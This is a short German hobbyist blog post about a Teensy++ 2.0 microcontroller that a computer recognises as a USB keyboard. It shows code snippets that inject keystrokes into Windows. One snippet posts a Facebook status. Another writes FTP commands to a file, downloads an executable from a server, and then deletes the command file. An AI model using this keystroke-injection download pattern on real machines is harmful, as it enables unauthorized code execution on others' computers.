Heute ist mein Teensy++ 2.0 endlich aus der USA rübergeflogen gekommen. Bestellen konnte ich ihn nur noch da, da er weder in der Schweiz, noch in Deutschland oder sonst wo aus Europa noch bestellt werden konnte. Aber da der Dollar-Kurs zur Zeit ja alles andere als hoch ist, hat sich die Bestellung natürlich mehrfach gelohnt!
Doch obwohl ich mir nicht sicher war, ob überhaupt etwas ankommt, dauerte es nicht mal eine Woche seit meiner Bestellung. Und das trotz den prophezeiten 3 Wochen Wartezeit

Der Teensy++ ist ein kleiner Mikrocontroller mit USB-Anschluss, mit dem man viele lustige Dinge machen kann. So kann er auf einem Computer als Tastatur erkannt werden und dadurch natürlich auch alles steuern, was man über eine normale Tastatur auch kann *hrhrhr*
Eine Einschränkung durch Sicherheitssoftware o.ä. gibt es (noch) nicht.
Um mal zu sehen, was man mit dem kleinen Ding alles machen kann, habe ich mir ein paar Beispiele angesehen. Dies geht vom Öffnen einer Seite:
CommandAtRunBarMSWIN("cmd /c start http://blog.encodingit.ch");
… zum Absetzen einer Statusmeldung auf Facebook:
void loop()
{
CommandAtRunBarMSWIN("cmd /c start http://m.facebook.com");
delay(6000);
PressAndRelease(KEY_TAB, 8);
Keyboard.print("Bits, Bytes and my 5 cents is best!");
PressAndRelease(KEY_TAB, 1);
PressAndRelease(KEY_ENTER, 1);
}
… oder gleich zum Nachladen von weiteren Daten via FTP:
void loop()
{
CommandAtRunBarMSWIN("echo USER >> go.txt ");
CommandAtRunBarMSWIN("echo PASSWORD >> go.txt ");
CommandAtRunBarMSWIN("echo GET EXE >> go.txt ");
CommandAtRunBarMSWIN("echo bye >> go.txt ");
CommandAtRunBarMSWIN("ftp -s:go.txt " + server);
CommandAtRunBarMSWIN("del go.txt");
}
Somit ist das ganze nur durch die eigene Phantasie begrenzt
Besonders interessant fand ich die Statusmeldung von Facebook. Doch wie es sich gezeigt hat, ist das ganze alles andere als Zuverlässig. Das ganze funktioniert nur, wenn keine Geburtstage oder “Stupser” im Weg sind.
Also habe ich mich mal daran gemacht, das ganze ein bisschen zu verbessern.
Weiterlesen →